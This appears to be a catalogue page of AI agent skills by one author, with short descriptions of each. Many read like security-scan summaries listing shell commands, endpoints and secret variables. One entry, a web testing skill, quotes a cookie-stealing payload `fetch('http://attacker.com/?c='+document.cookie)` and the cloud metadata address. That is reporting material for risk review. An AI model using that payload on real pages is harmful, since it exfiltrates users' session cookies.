Skills by mrgoonie

This skill is a comprehensive backend development guide covering APIs, authentication, databases, DevOps, and security. It contains runnable examples that invoke shell commands (e.g., `node --inspect-brk`/`curl`), network calls to endpoints like `https://auth.example.com/token`, and references to secrets such as `process.env.SESSION_SECRET`.

This skill provides Puppeteer-based browser automation scripts for navigation, screenshots, scraping, and performance analysis. It runs local shell tools (e.g., `magick`), connects to websites (e.g., `https://example.com` / `http://localhost:9222`), and can capture form `value` fields saved to files like `snapshot.json`.

Build 3D web apps with Three.js (WebGL/WebGPU). Use for 3D scenes, animations, custom shaders, PBR materials, VR/XR experiences, games, data visualizations, product configurators.

Use when complex problems require systematic step-by-step reasoning with ability to revise thoughts, branch into alternative approaches, or dynamically adjust scope. Ideal for multi-stage analysis, design planning, problem decomposition, or tasks with initially unclear scope.

This skill provides DevOps documentation and utilities for deploying to Cloudflare, Docker, GCP, and Kubernetes. It includes explicit shell/CLI commands (`wrangler deploy`, `docker build`, `gcloud run deploy`), external network calls (`fetch('https://api.example.com/data')`, `https://<accountid>.r2.cloudflarestorage.com`), and environment secrets (`CLOUDFLARE_API_TOKEN`, `GOOGLE_APPLICATION_CREDENTIALS`).

Provides UI styling guidance and automation for `shadcn/ui` + Tailwind with CLI examples and Python utilities (`scripts/shadcn_add.py`, `scripts/tailwind_config_gen.py`). It includes commands that invoke `npx`/`npm` and run `subprocess.run`, which performs network installs to domains like `https://ui.shadcn.com` and reads `components.json` and `./canvas-fonts`.

Use when receiving code review feedback (especially if unclear or technically questionable), when completing tasks or major features requiring review before proceeding, or before making any completion/success claims. Covers three practices - receiving feedback with technical rigor over performative agreement, requesting reviews via code-reviewer subagent, and verification gates requiring evidence before any status claims. Essential for subagent-driven development, pull requests, and preventing false completion claims.

Create aesthetically beautiful interfaces following proven design principles. Use when building UI/UX, analyzing designs from inspiration sites, generating design images with ai-multimodal, implementing visual hierarchy and color theory, adding micro-interactions, or creating design documentation. Includes workflows for capturing and analyzing inspiration screenshots with chrome-devtools and ai-multimodal, iterative design image generation until aesthetic standards are met, and comprehensive design system guidance covering BEAUTIFUL (aesthetic principles), RIGHT (functionality/accessibility), SATISFYING (micro-interactions), and PEAK (storytelling) stages. Integrates with chrome-devtools, ai-multimodal, media-processing, ui-styling, and web-frameworks skills.

This skill provides context-engineering guidance and CLI tools for analysis and compression, including `./scripts/context_analyzer.py` and `./scripts/compression_evaluator.py`. It documents running them locally via `python context_analyzer.py analyze <context_file>` and `python compression_evaluator.py evaluate <original_file> <compressed_file>` and exposes no network endpoints or secret-file reads.

This skill provides FFmpeg and ImageMagick examples and scripts for video, audio, and image conversion and batch processing (e.g., `scripts/media_convert.py`, `scripts/batch_resize.py`). It includes shell execution of `ffmpeg`/`magick`, network streaming to endpoints such as `rtmp://live.twitch.tv/app/STREAM_KEY`, and instructions to generate/store encryption keys (`enc.key`, `enc.keyinfo`).

Systematic debugging frameworks for finding and fixing bugs - includes root cause analysis, defense-in-depth validation, and verification protocols

This skill provides guidance and scaffolding for Shopify apps, extensions, themes, and includes an interactive `scripts/shopify_init.py` initializer. It reads environment variables such as `SHOPIFY_API_KEY`/`SHOPIFY_API_SECRET` and `.env` files, runs CLI commands like `shopify app init`, and calls endpoints like `https://${shop}/admin/api/2025-01/graphql.json`.

Creative problem-solving techniques for breaking through stuck points - includes collision-zone thinking, inversion, pattern recognition, and simplification

Create distinctive, production-grade frontend interfaces with high design quality. Use this skill when the user asks to build web components, pages, or applications. Generates creative, polished code that avoids generic AI aesthetics.

This skill provides documentation and utility scripts for managing MongoDB and PostgreSQL (backups, migrations, performance checks). It runs CLI tools (e.g. `mongodump`, `pg_dump`, `psql`), connects to arbitrary DB URIs, and uses credentials via `MONGODB_URI` / `PGPASSWORD`.

High-risk skill: provides web testing guidance (Playwright, Vitest, k6) and many runnable commands like `npx playwright test`, `docker run`, and `k6 run`. It contains an explicit exfil payload `fetch('http://attacker.com/?c='+document.cookie)` and references network targets `https://example.com` and `http://169.254.169.254/`.

This skill processes and generates multimedia using Google Gemini (`audio`, `image`, `video`, `PDF`) and includes utilities for uploading and converting media. It reads `GEMINI_API_KEY` from `process.env` and `.env` files, makes network calls via `genai.Client` (including `client.files.upload`), and runs local `ffmpeg`/`ffprobe` commands.

Repomix packages repositories into AI-friendly single-file snapshots for analysis and audits. Its scripts read `./repomix/.env`, `./skills/.env`, and `./.claude/.env`, access `os.environ` (all process env vars), invoke `repomix`/`npx` via `subprocess.run`, and may fetch remote repos like `https://github.com/yamadashy/repomix`.

Provides guides and helper scripts to scaffold Next.js and Turborepo projects, including `scripts/nextjs_init.py` and `scripts/turborepo_migrate.py` that create and modify project files. It includes executable setup commands (e.g., `npx create-next-app@latest`), network calls to `https://api.example.com` and other URLs, and references secrets such as `TURBO_TOKEN`.

High-risk documentation-discovery skill that fetches `llms.txt`, analyzes GitHub repos via Repomix, and launches parallel Explorer/Researcher agents. It explicitly instructs executing shell commands like `git clone [repo-url]` and `npm install -g repomix`, and making network requests to `https://context7.com/...` and `https://github.com/...`.

This skill scaffolds TypeScript authentication using Better Auth and includes an interactive initializer. It reads/writes `.env` files (e.g., `.claude/.env`, `.env`) and references env vars like `BETTER_AUTH_SECRET`, suggests running `npm install`/`npx @better-auth/cli generate`, and includes an example call to `https://api.github.com/user/repos`.

This skill provides templates and guidance to create, validate, and package Claude skills (including `SKILL.md`, `scripts/`, `references/`, and packaging tools). It instructs running scripts such as `scripts/init_skill.py` and `scripts/package_skill.py`, fetching plugins from URLs like `https://gitlab.com/company/plugins.git`, and using credentials via env vars such as `GITHUB_TOKEN`.

This skill documents how to create and render Mermaid.js v11 diagrams via CLI, JavaScript integration, Docker, and CDN embeds. It includes explicit CLI commands (e.g., `npm install -g @mermaid-js/mermaid-cli`, `mmdc -i input.mmd -o output.svg`, `docker run ... -v /path/to/diagrams:/data`), references to `https://cdn.jsdelivr.net/npm/mermaid@latest/dist/mermaid.min.js`, and an example `NODE_OPTIONS` env var.

This skill is a comprehensive MCP server development guide and evaluation harness for building and testing MCP servers. It instructs network fetches to `https://modelcontextprotocol.io/llms-full.txt`, running commands like `python scripts/evaluation.py`/`timeout 5s python server.py`, and use of env vars such as `ANTHROPIC_API_KEY`.

Replace with description of the skill and when Claude should use it.